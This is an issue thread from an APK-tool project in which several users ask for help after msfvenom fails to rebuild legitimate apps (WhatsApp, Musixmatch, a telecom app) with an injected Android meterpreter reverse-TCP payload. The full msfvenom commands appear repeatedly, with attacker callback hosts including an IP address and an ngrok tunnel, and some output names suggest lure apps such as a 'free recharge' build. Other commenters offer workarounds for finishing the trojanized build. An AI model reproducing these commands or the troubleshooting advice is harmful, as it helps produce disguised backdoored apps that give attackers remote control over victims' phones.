I am using apktool v 2.3.1. on Kali Linux.
I get this error. Yesterday I have tried and it worked, today I get this error with any APK, tried at least 10.
"
Using APK template: Whatsappo.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.whatsapp.zumvr
[] Loading /tmp/d20180110-6408-1ej4cd4/original/smali/com/whatsapp/AppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding Whatsappo.apk with meterpreter injection as /tmp/d20180110-6408-1ej4cd4/output.apk
Error: Unable to rebuild apk with apktool
"
Unfortunately apktool seems to be packaged into a 3rd party application here using apktool to pack some payload into an application. The reason for the build failure is not including in this stacktrace so nothing I can do here.
Thanks for the report, but not enough details here for me to investigate.
What details do you need? I will provide because I really need to get this fixed
Generally every bit of details that the issue template requests. You removed it and just posted a stacktrace of a 3rd party tool that didn't even expose the stacktrace from Apktool. So generally useless for me. I would report this to whatever tool this is.
I am really sorry, I'm in a hurry.
msfvenom -x Whatsappo.apk -p android/meterpreter/reverse_tcp LHOST=MY IPLPORT=6666 -o W.apk
Using APK template: Whatsappo.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.whatsapp.megzx
[] Loading /tmp/d20180110-6779-18jmnct/original/smali/com/whatsapp/AppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding Whatsappo.apk with meterpreter injection as /tmp/d20180110-6779-18jmnct/output.apk
Error: Unable to rebuild apk with apktool
root@kali:~/Desktop/MSF/Original APKS#
EDIT:
Apktool v2.3.1-dirty - a tool for reengineering Android apk files
with smali v2.2.1-dev and baksmali v2.2.1-dev
Copyright 2014 Ryszard Wi艣niewski brut.alll@gmail.com
Updated by Connor Tumbleson connor.tumbleson@gmail.com
how to fix this error
msfvenom -x /root/Desktop/Musixmatch.apk -p android/meterpreter/reverse_tcp LHOST=197.231.43.178 LPORT=6060 -o /root/Desktop/Musixmatchreload.apk
Using APK template: /root/Desktop/Musixmatch.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.musixmatch.android.lyrify.pnriw
[] Loading /tmp/d20180528-4429-p0wqf6/original/smali/o/abm.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding /root/Desktop/Musixmatch.apk with meterpreter injection as /tmp/d20180528-4429-p0wqf6/output.apk
Error: Unable to rebuild apk with apktool
really . is there no solution
Error: Unable to rebuild apk with apktool
any one have a solution?
here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow
Error: Unable to rebuild apk with apktool my apktool is already updated
I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse
[] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4
i have updated the answer on StackOverflow Follow The mentioned link again.
i have updated the answer on StackOverflow Follow The mentioned link again.
already tried but not working
i have updated the answer on StackOverflow Follow The mentioned link again.
already tried but not working
what didn't work ? did u injected manually and rebuilt your apk using "android studio" ?
I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktoolmy apktool is updated to latest version 2.3.4
i have updated my apktool by following ur steps https://github.com/iBotPeaches/Apktool/issues/1707#issuecomment-437953446
and installed zipalign
and tried my process as above
still getting the same error
I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same error
as i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files, use lower size apk file (<5MB) or use another tool for rebuilding your apk file and inject your Codes or files manually also.
another tools???
I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[_] Creating signing key and keystore.. [_] Decompiling original APK..
[_] Decompiling payload APK.. [_] Locating hook point..
[_] Adding payload as package com.ideacellular.myidea.qwpse [_] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[_] Poisoning the manifest with meterpreter permissions.. [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[_] Adding [_] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same erroras i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files, use lower size apk file (<5MB) or use another tool for rebuilding your apk file and inject your Codes or files manually also.
same problem when using 1.3 mb file
Most helpful comment
here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack OverFlow